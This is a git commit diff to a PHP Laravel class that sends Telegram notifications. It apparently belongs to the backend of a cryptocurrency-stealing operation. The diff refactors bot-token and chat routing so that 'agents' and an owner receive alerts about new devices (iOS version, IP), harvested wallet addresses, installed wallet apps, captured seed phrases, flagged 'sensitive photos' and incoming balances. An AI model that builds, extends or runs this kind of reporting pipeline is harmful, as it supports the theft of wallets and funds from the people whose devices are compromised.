feat: bot
This commit is contained in:
@@ -11,47 +11,134 @@ use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TelegramNotifier
|
||||
{
|
||||
/** @var array<string, array{channel_id: string, agent: ?User}> */
|
||||
private array $deviceContext = [];
|
||||
|
||||
public function systemEnabled(): bool
|
||||
{
|
||||
return trim((string) config('coruna.telegram.bot_token', '')) !== ''
|
||||
return $this->botToken() !== ''
|
||||
&& trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: string, 1: string}|null [token, chatId]
|
||||
* Site-wide bot token. Agents only configure chat_id.
|
||||
*/
|
||||
public function resolveDestination(?string $deviceKey = null): ?array
|
||||
public function botToken(): string
|
||||
{
|
||||
$agent = $this->resolveAgentForDeviceKey($deviceKey);
|
||||
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) {
|
||||
return [
|
||||
trim((string) $agent->bot_token),
|
||||
trim((string) $agent->chat_id),
|
||||
];
|
||||
}
|
||||
return trim((string) config('coruna.telegram.bot_token', ''));
|
||||
}
|
||||
|
||||
if (! $this->systemEnabled()) {
|
||||
public function formatBotUsername(?string $username): string
|
||||
{
|
||||
$username = ltrim(trim((string) $username), '@');
|
||||
|
||||
return $username === '' ? '' : '@'.$username;
|
||||
}
|
||||
|
||||
public function cachedBotUsername(): string
|
||||
{
|
||||
return $this->formatBotUsername((string) config('coruna.telegram.bot_username', ''));
|
||||
}
|
||||
|
||||
public function inviteUrl(?string $username = null): string
|
||||
{
|
||||
$name = ltrim($username !== null && trim($username) !== ''
|
||||
? $this->formatBotUsername($username)
|
||||
: $this->cachedBotUsername(), '@');
|
||||
|
||||
return $name === '' ? '' : 'https://t.me/'.$name.'?startgroup=1';
|
||||
}
|
||||
|
||||
/** Resolve @username via Telegram getMe. */
|
||||
public function fetchBotUsername(?string $token = null): ?string
|
||||
{
|
||||
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
|
||||
if ($token === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return [
|
||||
trim((string) config('coruna.telegram.bot_token')),
|
||||
trim((string) config('coruna.telegram.owner_chat_id')),
|
||||
];
|
||||
try {
|
||||
$resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe");
|
||||
if (! $resp->successful() || $resp->json('ok') !== true) {
|
||||
return null;
|
||||
}
|
||||
$name = $this->formatBotUsername((string) ($resp->json('result.username') ?? ''));
|
||||
|
||||
return $name !== '' ? $name : null;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram getMe failed: '.$e->getMessage());
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Agent device with chat_id → agent chat + official chat.
|
||||
* Otherwise official chat only.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public function resolveChatIds(?string $deviceKey = null): array
|
||||
{
|
||||
if ($this->botToken() === '') {
|
||||
return [];
|
||||
}
|
||||
|
||||
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||
$agentChat = '';
|
||||
$agent = $this->contextForDevice($deviceKey)['agent'];
|
||||
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramChat()) {
|
||||
$agentChat = trim((string) $agent->chat_id);
|
||||
}
|
||||
|
||||
$chatIds = [];
|
||||
if ($agentChat !== '') {
|
||||
$chatIds[] = $agentChat;
|
||||
}
|
||||
if ($owner !== '' && $owner !== $agentChat) {
|
||||
$chatIds[] = $owner;
|
||||
}
|
||||
|
||||
return $chatIds;
|
||||
}
|
||||
|
||||
public function enabled(?string $deviceKey = null): bool
|
||||
{
|
||||
return $this->resolveDestination($deviceKey) !== null;
|
||||
return $this->resolveChatIds($deviceKey) !== [];
|
||||
}
|
||||
|
||||
public function send(string $text, ?string $deviceKey = null): bool
|
||||
{
|
||||
$dest = $this->resolveDestination($deviceKey);
|
||||
if ($dest === null) {
|
||||
$chatIds = $this->resolveChatIds($deviceKey);
|
||||
if ($chatIds === []) {
|
||||
return false;
|
||||
}
|
||||
[$token, $chatId] = $dest;
|
||||
|
||||
$ok = false;
|
||||
foreach ($chatIds as $chatId) {
|
||||
if ($this->sendToChat($chatId, $text)['ok']) {
|
||||
$ok = true;
|
||||
}
|
||||
}
|
||||
|
||||
return $ok;
|
||||
}
|
||||
|
||||
/**
|
||||
* Send one message to a specific chat using the site bot (or an override token).
|
||||
*
|
||||
* @return array{ok: bool, error: ?string}
|
||||
*/
|
||||
public function sendToChat(string $chatId, string $text, ?string $token = null): array
|
||||
{
|
||||
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
|
||||
$chatId = trim($chatId);
|
||||
if ($token === '') {
|
||||
return ['ok' => false, 'error' => '未配置 Bot Token'];
|
||||
}
|
||||
if ($chatId === '') {
|
||||
return ['ok' => false, 'error' => '未填写 Chat ID'];
|
||||
}
|
||||
|
||||
try {
|
||||
$resp = Http::timeout(15)->asForm()->post(
|
||||
@@ -63,20 +150,43 @@ class TelegramNotifier
|
||||
'disable_web_page_preview' => true,
|
||||
]
|
||||
);
|
||||
if ($resp->successful() && ($resp->json('ok') === true)) {
|
||||
return ['ok' => true, 'error' => null];
|
||||
}
|
||||
|
||||
return $resp->successful();
|
||||
$desc = trim((string) ($resp->json('description') ?? ''));
|
||||
if ($desc === '') {
|
||||
$desc = 'HTTP '.$resp->status();
|
||||
}
|
||||
Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
|
||||
|
||||
return ['ok' => false, 'error' => $desc];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram send failed: '.$e->getMessage());
|
||||
Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
|
||||
|
||||
return false;
|
||||
return ['ok' => false, 'error' => $e->getMessage()];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{ok: bool, error: ?string}
|
||||
*/
|
||||
public function sendTest(string $chatId, string $label, ?string $token = null): array
|
||||
{
|
||||
$chatId = trim($chatId);
|
||||
|
||||
return $this->sendToChat($chatId, implode("\n", [
|
||||
'🧪 <b>Telegram 测试</b>',
|
||||
$this->e($label),
|
||||
'🆔 Chat ID: <code>'.$this->e($chatId).'</code>',
|
||||
]), $token);
|
||||
}
|
||||
|
||||
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'📱 <b>New Device</b>',
|
||||
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
||||
]), $deviceId);
|
||||
@@ -105,7 +215,7 @@ class TelegramNotifier
|
||||
|
||||
$lines = [
|
||||
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
];
|
||||
|
||||
foreach ($wallets as $i => $w) {
|
||||
@@ -140,7 +250,7 @@ class TelegramNotifier
|
||||
|
||||
$this->send(implode("\n", [
|
||||
'👜 <b>Installed Wallets</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
|
||||
]), $deviceId);
|
||||
}
|
||||
@@ -149,7 +259,7 @@ class TelegramNotifier
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🔐 <b>New Mnemonic</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
]), $deviceId);
|
||||
@@ -159,7 +269,7 @@ class TelegramNotifier
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>Sensitive Photo</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
|
||||
]), $deviceId);
|
||||
@@ -175,7 +285,7 @@ class TelegramNotifier
|
||||
): void {
|
||||
$lines = [
|
||||
'✅ <b>Balance Inbound</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
@@ -186,32 +296,49 @@ class TelegramNotifier
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
private function resolveAgentForDeviceKey(?string $deviceKey): ?User
|
||||
/** @return list<string> */
|
||||
private function deviceHeader(string $deviceId): array
|
||||
{
|
||||
$channelId = $this->contextForDevice($deviceId)['channel_id'];
|
||||
|
||||
return [
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'📡 <b>ChannelID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{channel_id: string, agent: ?User}
|
||||
*/
|
||||
private function contextForDevice(?string $deviceKey): array
|
||||
{
|
||||
$deviceKey = trim((string) $deviceKey);
|
||||
if ($deviceKey === '') {
|
||||
return null;
|
||||
return ['channel_id' => '', 'agent' => null];
|
||||
}
|
||||
if (isset($this->deviceContext[$deviceKey])) {
|
||||
return $this->deviceContext[$deviceKey];
|
||||
}
|
||||
|
||||
$channelId = '';
|
||||
$agent = null;
|
||||
try {
|
||||
$channelId = Device::query()
|
||||
->where('device_id', $deviceKey)
|
||||
->value('channel_id');
|
||||
if (! is_string($channelId) || $channelId === '') {
|
||||
return null;
|
||||
$found = Device::query()->where('device_id', $deviceKey)->value('channel_id');
|
||||
$channelId = is_string($found) ? $found : '';
|
||||
if ($channelId !== '') {
|
||||
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
||||
if ($userId !== null && (int) $userId > 0) {
|
||||
$agent = User::query()->find((int) $userId);
|
||||
}
|
||||
}
|
||||
|
||||
$userId = Channel::query()
|
||||
->where('channel_id', $channelId)
|
||||
->value('user_id');
|
||||
if ($userId === null || (int) $userId <= 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return User::query()->find((int) $userId);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
//
|
||||
}
|
||||
|
||||
return $this->deviceContext[$deviceKey] = [
|
||||
'channel_id' => $channelId,
|
||||
'agent' => $agent,
|
||||
];
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
|
||||
Reference in New Issue
Block a user